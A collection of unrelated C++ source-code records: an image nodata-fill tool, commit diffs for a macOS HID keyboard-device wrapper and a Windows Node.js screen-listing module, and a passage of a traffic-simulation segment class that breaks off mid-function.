("transfer-func,t", po::value(&opt.filter)->default_value("cosine"), "Transfer function to used for alpha. [linear, cosine, cosine90]")
("output-format", po::value(&opt.output_format)->default_value("auto"), "File format to use for output files.")
("cache", po::value<unsigned>(&cache_size)->default_value(1024), "Source data cache size, in megabytes")
("force-float", "Force the data to be read in as a float. This option also turns off auto-rescaling. Useful for reading 16-bit integer DEMs as though they were full of floats.")
("help,h", "Display this help message");
po::options_description positional("");
positional.add_options()
("input-files", po::value<std::vector<std::string> >(&opt.input_files));
po::positional_options_description positional_desc;
positional_desc.add("input-files", -1);
po::options_description all_options;
all_options.add(general_options).add(positional);
po::variables_map vm;
try {
po::store( po::command_line_parser( argc, argv ).options(all_options).positional(positional_desc).run(), vm );
po::notify( vm );
} catch (po::error &e) {
vw_throw( ArgumentErr() << "Error parsing input:\n\t"
<< e.what() << general_options );
}
std::ostringstream usage;
usage << "Usage: " << argv[0] << " [options] <image-files>\n";
boost::to_lower( opt.filter );
if ( vm.count("help") )
vw_throw( ArgumentErr() << usage.str() << general_options );
if ( opt.input_files.empty() )
vw_throw( ArgumentErr() << "Missing input files!\n"
<< usage.str() << general_options );
if ( vm.count("force-float") )
opt.force_float = true;
else
opt.force_float = false;
// Set the system cache size
vw_settings().set_system_cache_size( cache_size*1024*1024 );
}
int main( int argc, char *argv[] ) {
Options opt;
try {
handle_arguments( argc, argv, opt );
BOOST_FOREACH( const std::string& input, opt.input_files ) {
// Determining the format of the input
DiskImageResource *rsrc = DiskImageResource::open(input);
ChannelTypeEnum channel_type = rsrc->channel_type();
PixelFormatEnum pixel_format = rsrc->pixel_format();
// The user can elect to
if (opt.force_float) {
std::cout << "\t--> Overriding input channel type to 32-bit float. "
<< "Disabling image auto-rescaling.\n";
channel_type = VW_CHANNEL_FLOAT32;
// Turn off automatic rescaling when reading in images
DiskImageResource::set_default_rescale(false);
}
// Check for nodata value in the file
if ( rsrc->has_nodata_value() ) {
opt.nodata = rsrc->nodata_value();
std::cout << "\t--> Extracted nodata value from file: " << opt.nodata << ".\n";
}
delete rsrc;
vw_out() << "Loading: " << input << "\n";
size_t pt_idx = input.rfind(".");
std::string output = input.substr(0,pt_idx)+"_grass";
if (opt.output_format == "auto")
output += input.substr(pt_idx,input.size()-pt_idx);
else
output += "." + opt.output_format;
switch (pixel_format) {
case VW_PIXEL_GRAY:
switch (channel_type) {
case VW_CHANNEL_UINT8:
grassfire_nodata<PixelGray<uint8> >(opt,input,output); break;
case VW_CHANNEL_INT16:
grassfire_nodata<PixelGray<int16> >(opt,input,output); break;
case VW_CHANNEL_UINT16:
grassfire_nodata<PixelGray<uint16> >(opt,input,output); break;
default:
grassfire_nodata<PixelGray<float32> >(opt,input,output); break;
}
break;
case VW_PIXEL_GRAYA:
switch (channel_type) {
case VW_CHANNEL_UINT8:
grassfire_alpha<PixelGrayA<uint8> >(opt,input,output); break;
case VW_CHANNEL_INT16:
grassfire_alpha<PixelGrayA<int16> >(opt,input,output); break;
case VW_CHANNEL_UINT16:
grassfire_alpha<PixelGrayA<uint16> >(opt,input,output); break;
default:
grassfire_alpha<PixelGrayA<float32> >(opt,input,output); break;
}
break;
case VW_PIXEL_RGB:
switch (channel_type) {
case VW_CHANNEL_UINT8:
grassfire_nodata<PixelRGB<uint8> >(opt,input,output); break;
case VW_CHANNEL_INT16:
grassfire_nodata<PixelRGB<int16> >(opt,input,output); break;
case VW_CHANNEL_UINT16:
grassfire_nodata<PixelRGB<uint16> >(opt,input,output); break;
default:
grassfire_nodata<PixelRGB<float32> >(opt,input,output); break;
}
break;
default:
switch (channel_type) {
case VW_CHANNEL_UINT8:
grassfire_alpha<PixelRGBA<uint8> >(opt,input,output); break;
case VW_CHANNEL_INT16:
grassfire_alpha<PixelRGBA<int16> >(opt,input,output); break;
case VW_CHANNEL_UINT16:
grassfire_alpha<PixelRGBA<uint16> >(opt,input,output); break;
default:
grassfire_alpha<PixelRGBA<float32> >(opt,input,output); break;
}
break;
}
} // end FOREACH
} catch ( const ArgumentErr& e ) {
vw_out() << e.what() << std::endl;
return 1;
} catch ( const Exception& e ) {
std::cerr << "Error: " << e.what() << std::endl;
return 1;
}
}
<|endoftext|> |
<commit_before>#pragma once
#include "boost_defs.hpp"
#include "apple_hid_usage_tables.hpp"
#include "iokit_utility.hpp"
#include "userspace_types.hpp"
#include <IOKit/hid/IOHIDDevice.h>
#include <IOKit/hid/IOHIDElement.h>
#include <IOKit/hid/IOHIDQueue.h>
#include <IOKit/hid/IOHIDUsageTables.h>
#include <IOKit/hid/IOHIDValue.h>
#include <boost/optional.hpp>
#include <cstdint>
#include <functional>
#include <list>
#include <mach/mach_time.h>
#include <spdlog/spdlog.h>
#include <unordered_map>
#include <vector>
class human_interface_device final {
public:
typedef std::function<void(human_interface_device& device,
IOHIDValueRef _Nonnull value,
IOHIDElementRef _Nonnull element,
uint32_t usage_page,
uint32_t usage,
CFIndex integer_value)>
value_callback;
typedef std::function<void(human_interface_device& device,
IOHIDReportType type,
uint32_t report_id,
uint8_t* _Nonnull report,
CFIndex report_length)>
report_callback;
human_interface_device(const human_interface_device&) = delete;
human_interface_device(spdlog::logger& logger,
IOHIDDeviceRef _Nonnull device) : logger_(logger),
device_(device),
queue_(nullptr),
grabbed_(false) {
CFRetain(device_);
auto elements = IOHIDDeviceCopyMatchingElements(device_, nullptr, kIOHIDOptionsTypeNone);
if (elements) {
for (CFIndex i = 0; i < CFArrayGetCount(elements); ++i) {
// Add to elements_.
auto element = static_cast<IOHIDElementRef>(const_cast<void*>(CFArrayGetValueAtIndex(elements, i)));
auto usage_page = IOHIDElementGetUsagePage(element);
auto usage = IOHIDElementGetUsage(element);
auto key = elements_key(usage_page, usage);
if (elements_.find(key) == elements_.end()) {
CFRetain(element);
elements_[key] = element;
}
}
CFRelease(elements);
}
}
~human_interface_device(void) {
// Unregister all callbacks.
unregister_report_callback();
unregister_value_callback();
unschedule();
if (grabbed_) {
ungrab();
} else {
close();
}
if (queue_) {
CFRelease(queue_);
}
for (const auto& it : elements_) {
CFRelease(it.second);
}
elements_.clear();
CFRelease(device_);
}
IOReturn open(IOOptionBits options = kIOHIDOptionsTypeNone) {
return IOHIDDeviceOpen(device_, options);
}
IOReturn close(void) {
return IOHIDDeviceClose(device_, kIOHIDOptionsTypeNone);
}
void schedule(void) {
IOHIDDeviceScheduleWithRunLoop(device_, CFRunLoopGetMain(), kCFRunLoopDefaultMode);
if (queue_) {
IOHIDQueueScheduleWithRunLoop(queue_, CFRunLoopGetMain(), kCFRunLoopDefaultMode);
}
}
void unschedule(void) {
if (queue_) {
IOHIDQueueUnscheduleFromRunLoop(queue_, CFRunLoopGetMain(), kCFRunLoopDefaultMode);
}
IOHIDDeviceUnscheduleFromRunLoop(device_, CFRunLoopGetMain(), kCFRunLoopDefaultMode);
}
void register_report_callback(const report_callback& callback) {
report_callback_ = callback;
if (resize_report_buffer()) {
IOHIDDeviceRegisterInputReportCallback(device_, &(report_buffer_[0]), report_buffer_.size(), static_input_report_callback, this);
}
}
void unregister_report_callback(void) {
if (resize_report_buffer()) {
IOHIDDeviceRegisterInputReportCallback(device_, &(report_buffer_[0]), report_buffer_.size(), nullptr, nullptr);
}
report_callback_ = nullptr;
}
void register_value_callback(const value_callback& callback) {
if (!queue_) {
const CFIndex depth = 1024;
queue_ = IOHIDQueueCreate(kCFAllocatorDefault, device_, depth, kIOHIDOptionsTypeNone);
if (!queue_) {
logger_.error("IOHIDQueueCreate error @ {0}", __PRETTY_FUNCTION__);
return;
}
// Add elements into queue_.
for (const auto& it : elements_) {
IOHIDQueueAddElement(queue_, it.second);
}
}
value_callback_ = callback;
IOHIDQueueRegisterValueAvailableCallback(queue_, static_queue_value_available_callback, this);
IOHIDQueueStart(queue_);
}
void unregister_value_callback(void) {
if (queue_) {
IOHIDQueueStop(queue_);
// There is not a way to unregister ValueAvailableCallback.
// Do not call IOHIDQueueRegisterValueAvailableCallback with nullptr.
}
value_callback_ = nullptr;
}
// High-level utility method.
void observe(const value_callback& callback) {
auto r = open();
if (r != kIOReturnSuccess) {
logger_.error("IOHIDDeviceOpen error: {1} @ {0}", __PRETTY_FUNCTION__, r);
return;
}
register_value_callback(callback);
schedule();
}
void unobserve(void) {
unschedule();
unregister_value_callback();
close();
}
void grab(const value_callback& callback) {
if (grabbed_) {
ungrab();
}
auto r = open(kIOHIDOptionsTypeSeizeDevice);
if (r != kIOReturnSuccess) {
logger_.error("IOHIDDeviceOpen error: {1} @ {0}", __PRETTY_FUNCTION__, r);
return;
}
register_value_callback(callback);
schedule();
grabbed_ = true;
}
// High-level utility method.
void ungrab(void) {
if (!grabbed_) {
return;
}
unschedule();
unregister_value_callback();
if (queue_) {
// Remove all elements.
for (const auto& it : elements_) {
IOHIDQueueRemoveElement(queue_, it.second);
}
CFRelease(queue_);
queue_ = nullptr;
}
IOReturn r = close();
if (r != kIOReturnSuccess) {
logger_.error("IOHIDDeviceClose error: {1} @ {0}", __PRETTY_FUNCTION__, r);
return;
}
grabbed_ = false;
}
boost::optional<long> get_max_input_report_size(void) const {
return iokit_utility::get_max_input_report_size(device_);
}
boost::optional<long> get_vendor_id(void) const {
return iokit_utility::get_vendor_id(device_);
}
boost::optional<long> get_product_id(void) const {
return iokit_utility::get_product_id(device_);
}
boost::optional<long> get_location_id(void) const {
return iokit_utility::get_location_id(device_);
}
boost::optional<std::string> get_manufacturer(void) const {
return iokit_utility::get_manufacturer(device_);
}
boost::optional<std::string> get_product(void) const {
return iokit_utility::get_product(device_);
}
boost::optional<std::string> get_serial_number(void) const {
return iokit_utility::get_serial_number(device_);
}
boost::optional<std::string> get_transport(void) const {
return iokit_utility::get_transport(device_);
}
IOHIDElementRef _Nullable get_element(uint32_t usage_page, uint32_t usage) const {
auto key = elements_key(usage_page, usage);
auto it = elements_.find(key);
if (it == elements_.end()) {
return nullptr;
} else {
return it->second;
}
}
std::unordered_map<krbn::key_code, krbn::key_code>& get_simple_changed_keys(void) {
return simple_changed_keys_;
}
std::unordered_map<krbn::key_code, krbn::key_code>& get_fn_changed_keys(void) {
return fn_changed_keys_;
}
size_t get_pressed_keys_count(void) const {
return pressed_key_usages_.size();
}
#pragma mark - usage specific utilities
// This method requires root privilege to use IOHIDDeviceGetValue for kHIDPage_LEDs usage.
krbn::led_state get_caps_lock_led_state(void) const {
if (auto element = get_element(kHIDPage_LEDs, kHIDUsage_LED_CapsLock)) {
auto max = IOHIDElementGetLogicalMax(element);
IOHIDValueRef value;
auto r = IOHIDDeviceGetValue(device_, element, &value);
if (r != kIOReturnSuccess) {
logger_.error("IOHIDDeviceGetValue error: {1} @ {0}", __PRETTY_FUNCTION__, r);
return krbn::led_state::none;
}
auto integer_value = IOHIDValueGetIntegerValue(value);
if (integer_value == max) {
return krbn::led_state::on;
} else {
return krbn::led_state::off;
}
}
return krbn::led_state::none;
}
// This method requires root privilege to use IOHIDDeviceSetValue for kHIDPage_LEDs usage.
IOReturn set_caps_lock_led_state(krbn::led_state state) {
if (state == krbn::led_state::none) {
return kIOReturnSuccess;
}
if (auto element = get_element(kHIDPage_LEDs, kHIDUsage_LED_CapsLock)) {
CFIndex integer_value = 0;
if (state == krbn::led_state::on) {
integer_value = IOHIDElementGetLogicalMax(element);
} else {
integer_value = IOHIDElementGetLogicalMin(element);
}
if (auto value = IOHIDValueCreateWithIntegerValue(kCFAllocatorDefault, element, mach_absolute_time(), integer_value)) {
auto r = IOHIDDeviceSetValue(device_, element, value);
CFRelease(value);
return r;
} else {
logger_.error("IOHIDValueCreateWithIntegerValue error @ {0}", __PRETTY_FUNCTION__);
}
}
return kIOReturnError;
}
private:
static void static_queue_value_available_callback(void* _Nullable context, IOReturn result, void* _Nullable sender) {
if (result != kIOReturnSuccess) {
return;
}
auto self = static_cast<human_interface_device*>(context);
if (!self) {
return;
}
auto queue = static_cast<IOHIDQueueRef>(sender);
if (!queue) {
return;
}
self->queue_value_available_callback(queue);
}
void queue_value_available_callback(IOHIDQueueRef _Nonnull queue) {
while (true) {
auto value = IOHIDQueueCopyNextValueWithTimeout(queue, 0.);
if (!value) {
break;
}
auto element = IOHIDValueGetElement(value);
if (element) {
auto usage_page = IOHIDElementGetUsagePage(element);
auto usage = IOHIDElementGetUsage(element);
auto integer_value = IOHIDValueGetIntegerValue(value);
// Update pressed_key_usages_.
if ((usage_page == kHIDPage_KeyboardOrKeypad) ||
(usage_page == kHIDPage_AppleVendorTopCase && usage == kHIDUsage_AV_TopCase_KeyboardFn)) {
bool pressed = integer_value;
uint64_t u = (static_cast<uint64_t>(usage_page) << 32) | usage;
if (pressed) {
pressed_key_usages_.push_back(u);
} else {
pressed_key_usages_.remove(u);
}
}
// Call value_callback_.
if (value_callback_) {
value_callback_(*this, value, element, usage_page, usage, integer_value);
}
}
CFRelease(value);
}
}
static void static_input_report_callback(void* _Nullable context,
IOReturn result,
void* _Nullable sender,
IOHIDReportType type,
uint32_t report_id,
uint8_t* _Nullable report,
CFIndex report_length) {
if (result != kIOReturnSuccess) {
return;
}
auto self = static_cast<human_interface_device*>(context);
if (!self) {
return;
}
self->input_report_callback(type, report_id, report, report_length);
}
void input_report_callback(IOHIDReportType type,
uint32_t report_id,
uint8_t* _Nullable report,
CFIndex report_length) {
if (report_callback_) {
report_callback_(*this, type, report_id, report, report_length);
}
}
uint64_t elements_key(uint32_t usage_page, uint32_t usage) const {
return (static_cast<uint64_t>(usage_page) << 32 | usage);
}
bool resize_report_buffer(void) {
auto size = get_max_input_report_size();
if (!size) {
logger_.error("get_max_input_report_size() error @ {0}", __PRETTY_FUNCTION__);
return false;
}
report_buffer_.resize(*size);
return true;
}
spdlog::logger& logger_;
IOHIDDeviceRef _Nonnull device_;
IOHIDQueueRef _Nullable queue_;
std::unordered_map<uint64_t, IOHIDElementRef> elements_;
bool grabbed_;
std::list<uint64_t> pressed_key_usages_;
value_callback value_callback_;
report_callback report_callback_;
std::vector<uint8_t> report_buffer_;
std::unordered_map<krbn::key_code, krbn::key_code> simple_changed_keys_;
std::unordered_map<krbn::key_code, krbn::key_code> fn_changed_keys_;
};
<commit_msg>setup queue_ in constructor<commit_after>#pragma once
#include "boost_defs.hpp"
#include "apple_hid_usage_tables.hpp"
#include "iokit_utility.hpp"
#include "userspace_types.hpp"
#include <IOKit/hid/IOHIDDevice.h>
#include <IOKit/hid/IOHIDElement.h>
#include <IOKit/hid/IOHIDQueue.h>
#include <IOKit/hid/IOHIDUsageTables.h>
#include <IOKit/hid/IOHIDValue.h>
#include <boost/optional.hpp>
#include <cstdint>
#include <functional>
#include <list>
#include <mach/mach_time.h>
#include <spdlog/spdlog.h>
#include <unordered_map>
#include <vector>
class human_interface_device final {
public:
typedef std::function<void(human_interface_device& device,
IOHIDValueRef _Nonnull value,
IOHIDElementRef _Nonnull element,
uint32_t usage_page,
uint32_t usage,
CFIndex integer_value)>
value_callback;
typedef std::function<void(human_interface_device& device,
IOHIDReportType type,
uint32_t report_id,
uint8_t* _Nonnull report,
CFIndex report_length)>
report_callback;
human_interface_device(const human_interface_device&) = delete;
human_interface_device(spdlog::logger& logger,
IOHIDDeviceRef _Nonnull device) : logger_(logger),
device_(device),
queue_(nullptr) {
// ----------------------------------------
// retain device_
CFRetain(device_);
// ----------------------------------------
// setup elements_
auto elements = IOHIDDeviceCopyMatchingElements(device_, nullptr, kIOHIDOptionsTypeNone);
if (elements) {
for (CFIndex i = 0; i < CFArrayGetCount(elements); ++i) {
// Add to elements_.
auto element = static_cast<IOHIDElementRef>(const_cast<void*>(CFArrayGetValueAtIndex(elements, i)));
auto usage_page = IOHIDElementGetUsagePage(element);
auto usage = IOHIDElementGetUsage(element);
auto key = elements_key(usage_page, usage);
if (elements_.find(key) == elements_.end()) {
CFRetain(element);
elements_[key] = element;
}
}
CFRelease(elements);
}
// ----------------------------------------
// setup queue_
const CFIndex depth = 1024;
queue_ = IOHIDQueueCreate(kCFAllocatorDefault, device_, depth, kIOHIDOptionsTypeNone);
if (!queue_) {
logger_.error("IOHIDQueueCreate error @ {0}", __PRETTY_FUNCTION__);
} else {
// Add elements into queue_.
for (const auto& it : elements_) {
IOHIDQueueAddElement(queue_, it.second);
}
IOHIDQueueRegisterValueAvailableCallback(queue_, static_queue_value_available_callback, this);
}
}
~human_interface_device(void) {
// Unregister all callbacks.
unschedule();
unregister_report_callback();
unregister_value_callback();
close();
// ----------------------------------------
// release queue_
if (queue_) {
CFRelease(queue_);
queue_ = nullptr;
}
// ----------------------------------------
// release elements_
for (const auto& it : elements_) {
CFRelease(it.second);
}
elements_.clear();
// ----------------------------------------
// release device_
CFRelease(device_);
}
IOReturn open(IOOptionBits options = kIOHIDOptionsTypeNone) {
return IOHIDDeviceOpen(device_, options);
}
IOReturn close(void) {
return IOHIDDeviceClose(device_, kIOHIDOptionsTypeNone);
}
void schedule(void) {
IOHIDDeviceScheduleWithRunLoop(device_, CFRunLoopGetMain(), kCFRunLoopDefaultMode);
if (queue_) {
IOHIDQueueScheduleWithRunLoop(queue_, CFRunLoopGetMain(), kCFRunLoopDefaultMode);
}
}
void unschedule(void) {
if (queue_) {
IOHIDQueueUnscheduleFromRunLoop(queue_, CFRunLoopGetMain(), kCFRunLoopDefaultMode);
}
IOHIDDeviceUnscheduleFromRunLoop(device_, CFRunLoopGetMain(), kCFRunLoopDefaultMode);
}
void register_report_callback(const report_callback& callback) {
report_callback_ = callback;
if (resize_report_buffer()) {
IOHIDDeviceRegisterInputReportCallback(device_, &(report_buffer_[0]), report_buffer_.size(), static_input_report_callback, this);
}
}
void unregister_report_callback(void) {
if (resize_report_buffer()) {
IOHIDDeviceRegisterInputReportCallback(device_, &(report_buffer_[0]), report_buffer_.size(), nullptr, nullptr);
}
report_callback_ = nullptr;
}
void register_value_callback(const value_callback& callback) {
value_callback_ = callback;
if (queue_) {
IOHIDQueueStart(queue_);
}
}
void unregister_value_callback(void) {
if (queue_) {
IOHIDQueueStop(queue_);
}
value_callback_ = nullptr;
}
// High-level utility method.
void observe(const value_callback& callback) {
auto r = open();
if (r != kIOReturnSuccess) {
logger_.error("IOHIDDeviceOpen error: {1} @ {0}", __PRETTY_FUNCTION__, r);
return;
}
register_value_callback(callback);
schedule();
}
// High-level utility method.
void unobserve(void) {
unschedule();
unregister_value_callback();
close();
}
// High-level utility method.
void grab(const value_callback& callback) {
auto r = open(kIOHIDOptionsTypeSeizeDevice);
if (r != kIOReturnSuccess) {
logger_.error("IOHIDDeviceOpen error: {1} @ {0}", __PRETTY_FUNCTION__, r);
return;
}
register_value_callback(callback);
schedule();
}
// High-level utility method.
void ungrab(void) {
unschedule();
unregister_value_callback();
close();
}
boost::optional<long> get_max_input_report_size(void) const {
return iokit_utility::get_max_input_report_size(device_);
}
boost::optional<long> get_vendor_id(void) const {
return iokit_utility::get_vendor_id(device_);
}
boost::optional<long> get_product_id(void) const {
return iokit_utility::get_product_id(device_);
}
boost::optional<long> get_location_id(void) const {
return iokit_utility::get_location_id(device_);
}
boost::optional<std::string> get_manufacturer(void) const {
return iokit_utility::get_manufacturer(device_);
}
boost::optional<std::string> get_product(void) const {
return iokit_utility::get_product(device_);
}
boost::optional<std::string> get_serial_number(void) const {
return iokit_utility::get_serial_number(device_);
}
boost::optional<std::string> get_transport(void) const {
return iokit_utility::get_transport(device_);
}
IOHIDElementRef _Nullable get_element(uint32_t usage_page, uint32_t usage) const {
auto key = elements_key(usage_page, usage);
auto it = elements_.find(key);
if (it == elements_.end()) {
return nullptr;
} else {
return it->second;
}
}
std::unordered_map<krbn::key_code, krbn::key_code>& get_simple_changed_keys(void) {
return simple_changed_keys_;
}
std::unordered_map<krbn::key_code, krbn::key_code>& get_fn_changed_keys(void) {
return fn_changed_keys_;
}
void clear_changed_keys(void) {
simple_changed_keys_.clear();
fn_changed_keys_.clear();
}
size_t get_pressed_keys_count(void) const {
return pressed_key_usages_.size();
}
void clear_pressed_keys(void) {
pressed_key_usages_.clear();
}
#pragma mark - usage specific utilities
// This method requires root privilege to use IOHIDDeviceGetValue for kHIDPage_LEDs usage.
krbn::led_state get_caps_lock_led_state(void) const {
if (auto element = get_element(kHIDPage_LEDs, kHIDUsage_LED_CapsLock)) {
auto max = IOHIDElementGetLogicalMax(element);
IOHIDValueRef value;
auto r = IOHIDDeviceGetValue(device_, element, &value);
if (r != kIOReturnSuccess) {
logger_.error("IOHIDDeviceGetValue error: {1} @ {0}", __PRETTY_FUNCTION__, r);
return krbn::led_state::none;
}
auto integer_value = IOHIDValueGetIntegerValue(value);
if (integer_value == max) {
return krbn::led_state::on;
} else {
return krbn::led_state::off;
}
}
return krbn::led_state::none;
}
// This method requires root privilege to use IOHIDDeviceSetValue for kHIDPage_LEDs usage.
IOReturn set_caps_lock_led_state(krbn::led_state state) {
if (state == krbn::led_state::none) {
return kIOReturnSuccess;
}
if (auto element = get_element(kHIDPage_LEDs, kHIDUsage_LED_CapsLock)) {
CFIndex integer_value = 0;
if (state == krbn::led_state::on) {
integer_value = IOHIDElementGetLogicalMax(element);
} else {
integer_value = IOHIDElementGetLogicalMin(element);
}
if (auto value = IOHIDValueCreateWithIntegerValue(kCFAllocatorDefault, element, mach_absolute_time(), integer_value)) {
auto r = IOHIDDeviceSetValue(device_, element, value);
CFRelease(value);
return r;
} else {
logger_.error("IOHIDValueCreateWithIntegerValue error @ {0}", __PRETTY_FUNCTION__);
}
}
return kIOReturnError;
}
private:
static void static_queue_value_available_callback(void* _Nullable context, IOReturn result, void* _Nullable sender) {
if (result != kIOReturnSuccess) {
return;
}
auto self = static_cast<human_interface_device*>(context);
if (!self) {
return;
}
auto queue = static_cast<IOHIDQueueRef>(sender);
if (!queue) {
return;
}
self->queue_value_available_callback(queue);
}
void queue_value_available_callback(IOHIDQueueRef _Nonnull queue) {
while (true) {
auto value = IOHIDQueueCopyNextValueWithTimeout(queue, 0.);
if (!value) {
break;
}
auto element = IOHIDValueGetElement(value);
if (element) {
auto usage_page = IOHIDElementGetUsagePage(element);
auto usage = IOHIDElementGetUsage(element);
auto integer_value = IOHIDValueGetIntegerValue(value);
// Update pressed_key_usages_.
if ((usage_page == kHIDPage_KeyboardOrKeypad) ||
(usage_page == kHIDPage_AppleVendorTopCase && usage == kHIDUsage_AV_TopCase_KeyboardFn)) {
bool pressed = integer_value;
uint64_t u = (static_cast<uint64_t>(usage_page) << 32) | usage;
if (pressed) {
pressed_key_usages_.push_back(u);
} else {
pressed_key_usages_.remove(u);
}
}
// Call value_callback_.
if (value_callback_) {
value_callback_(*this, value, element, usage_page, usage, integer_value);
}
}
CFRelease(value);
}
}
static void static_input_report_callback(void* _Nullable context,
IOReturn result,
void* _Nullable sender,
IOHIDReportType type,
uint32_t report_id,
uint8_t* _Nullable report,
CFIndex report_length) {
if (result != kIOReturnSuccess) {
return;
}
auto self = static_cast<human_interface_device*>(context);
if (!self) {
return;
}
self->input_report_callback(type, report_id, report, report_length);
}
void input_report_callback(IOHIDReportType type,
uint32_t report_id,
uint8_t* _Nullable report,
CFIndex report_length) {
if (report_callback_) {
report_callback_(*this, type, report_id, report, report_length);
}
}
uint64_t elements_key(uint32_t usage_page, uint32_t usage) const {
return (static_cast<uint64_t>(usage_page) << 32 | usage);
}
bool resize_report_buffer(void) {
auto size = get_max_input_report_size();
if (!size) {
logger_.error("get_max_input_report_size() error @ {0}", __PRETTY_FUNCTION__);
return false;
}
report_buffer_.resize(*size);
return true;
}
spdlog::logger& logger_;
IOHIDDeviceRef _Nonnull device_;
IOHIDQueueRef _Nullable queue_;
std::unordered_map<uint64_t, IOHIDElementRef> elements_;
std::list<uint64_t> pressed_key_usages_;
value_callback value_callback_;
report_callback report_callback_;
std::vector<uint8_t> report_buffer_;
std::unordered_map<krbn::key_code, krbn::key_code> simple_changed_keys_;
std::unordered_map<krbn::key_code, krbn::key_code> fn_changed_keys_;
};
<|endoftext|> |
<commit_before>#include <node.h>
#include <nan.h>
#include <v8.h>
#include <uv.h>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <list>
#include <stdio.h>
#include <psapi.h>
#include <string>
#include <vector>
using namespace v8;
using namespace node;
BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData){
std::list<Local<Object>> *screens = (std::list<Local<Object>>*)dwData;
MONITORINFO target;
target.cbSize = sizeof(MONITORINFO);
GetMonitorInfo(hMonitor, &target);
Local<Object> obj = NanNew<Object>();
Local<Object> recBounds = NanNew<Object>();
Local<Object> recWork = NanNew<Object>();
recBounds->Set(NanNew<String>("left"), NanNew<Number>(target.rcMonitor.left));
recBounds->Set(NanNew<String>("top"), NanNew<Number>(target.rcMonitor.top));
recBounds->Set(NanNew<String>("right"), NanNew<Number>(target.rcMonitor.right));
recBounds->Set(NanNew<String>("bottom"), NanNew<Number>(target.rcMonitor.bottom));
recWork->Set(NanNew<String>("left"), NanNew<Number>(target.rcWork.left));
recWork->Set(NanNew<String>("top"), NanNew<Number>(target.rcWork.top));
recWork->Set(NanNew<String>("right"), NanNew<Number>(target.rcWork.right));
recWork->Set(NanNew<String>("bottom"), NanNew<Number>(target.rcWork.bottom));
obj->Set(NanNew<String>("handle"), NanNew<Number>((unsigned int)hMonitor));
obj->Set(NanNew<String>("bounds"), recBounds);
obj->Set(NanNew<String>("work"), recWork);
obj->Set(NanNew<String>("primary"), target.dwFlags == MONITORINFOF_PRIMARY ? NanTrue() : NanFalse());
(*screens).push_back(obj);
return TRUE;
}
void GetAllScreens(const FunctionCallbackInfo<Value>& args) {
NanScope();
std::list<Local<Object>> screens;
EnumDisplayMonitors(NULL, NULL, MonitorEnumProc, (LPARAM)&screens);
Local<Array> returnValue = NanNew<Array>();
int i = 0;
for (std::list<Local<Object>>::iterator it=screens.begin(); it != screens.end(); ++it) {
returnValue->Set(i, *it);
i++;
}
NanReturnValue(returnValue);
}
void init(Handle<Object> exports) {
exports->Set(NanNew<String>("getAllScreens"),
NanNew<FunctionTemplate>(GetAllScreens)->GetFunction());
}
NODE_MODULE(screen, init)
<commit_msg>small fix<commit_after>#include <nan.h>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <list>
#include <stdio.h>
#include <psapi.h>
#include <string>
#include <vector>
using namespace v8;
using namespace node;
BOOL CALLBACK MonitorEnumProc(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData){
std::list<Local<Object>> *screens = (std::list<Local<Object>>*)dwData;
MONITORINFO target;
target.cbSize = sizeof(MONITORINFO);
GetMonitorInfo(hMonitor, &target);
Local<Object> obj = NanNew<Object>();
Local<Object> recBounds = NanNew<Object>();
Local<Object> recWork = NanNew<Object>();
recBounds->Set(NanNew<String>("left"), NanNew<Number>(target.rcMonitor.left));
recBounds->Set(NanNew<String>("top"), NanNew<Number>(target.rcMonitor.top));
recBounds->Set(NanNew<String>("right"), NanNew<Number>(target.rcMonitor.right));
recBounds->Set(NanNew<String>("bottom"), NanNew<Number>(target.rcMonitor.bottom));
recWork->Set(NanNew<String>("left"), NanNew<Number>(target.rcWork.left));
recWork->Set(NanNew<String>("top"), NanNew<Number>(target.rcWork.top));
recWork->Set(NanNew<String>("right"), NanNew<Number>(target.rcWork.right));
recWork->Set(NanNew<String>("bottom"), NanNew<Number>(target.rcWork.bottom));
obj->Set(NanNew<String>("handle"), NanNew<Number>((unsigned int)hMonitor));
obj->Set(NanNew<String>("bounds"), recBounds);
obj->Set(NanNew<String>("work"), recWork);
obj->Set(NanNew<String>("primary"), target.dwFlags == MONITORINFOF_PRIMARY ? NanTrue() : NanFalse());
(*screens).push_back(obj);
return TRUE;
}
NAN_METHOD(GetAllScreens) {
NanScope();
std::list<Local<Object>> screens;
EnumDisplayMonitors(NULL, NULL, MonitorEnumProc, (LPARAM)&screens);
Local<Array> returnValue = NanNew<Array>();
int i = 0;
for (std::list<Local<Object>>::iterator it=screens.begin(); it != screens.end(); ++it) {
returnValue->Set(i, *it);
i++;
}
NanReturnValue(returnValue);
}
void init(Handle<Object> exports) {
exports->Set(NanNew<String>("getAllScreens"),
NanNew<FunctionTemplate>(GetAllScreens)->GetFunction());
}
NODE_MODULE(screen, init)
<|endoftext|> |
<commit_before>#include "segment.h"
#include <cstdlib>
namespace oop_project {
const size_t Segment::kMaxCars = 5;
Segment::Segment(size_t capacity, Segment* prev, int ready_percent,
size_t num_junctions, size_t toll_pass_limit)
: capacity_(capacity),
enter_junction_(new Junction(num_junctions, toll_pass_limit)),
next_(NULL),
prev_(prev),
ready_percent_(ready_percent) {
size_t num_cars = std::min(capacity_, rand() % kMaxCars + 1);
cars_.resize(num_cars);
for (size_t i = 0; i < cars_.size(); ++i) {
size_t exit_junction = rand() % (num_junctions - enter_junction_->id()) +
enter_junction_->id();
cars_[i] = new Car(exit_junction, NULL);
}
}
Segment::~Segment() {
for (size_t i = 0; i < cars_.size(); ++i) {
delete cars_[i];
}
delete enter_junction_;
}
void Segment::Enter() {
size_t max_allowed_cars;
if (prev_ != NULL) {
max_allowed_cars = capacity_ - cars_.size();
prev_->Pass(max_allowed_cars);
}
max_allowed_cars = capacity_ - cars_.size();
std::vector<Car*> cars = enter_junction_->Operate(max_allowed_cars);
cars_.insert(cars_.end(), cars.begin(), cars.end());
}
void Segment::Exit() {
for (size_t i = 0; i < cars_.size(); ++i) {
if (cars_[i]->ready() &&
cars_[i]->exit_junction() == enter_junction_->id() + 1) {
delete cars_[i];
cars_.erase(cars_.begin() + i);
}
}
}
void Segment::Operate() {
Exit();
Enter();
std::random_shuffle(cars_.begin(), cars_.end());
size_t num_new_ready = ready_percent_ * cars_.size() / 100;
size_t num_changed_cars = 0;
for (size_t i = 0; i < cars_.size(); ++i) {
if (num_changed_cars == num_new_ready) {
break;
